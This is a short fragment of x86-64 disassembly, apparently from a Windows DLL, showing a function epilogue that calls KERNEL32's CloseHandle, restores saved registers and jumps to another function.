mov rbx, qword [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
add rsp, 0x30
pop r14
pop r13
pop r12
jmp fcn.180011270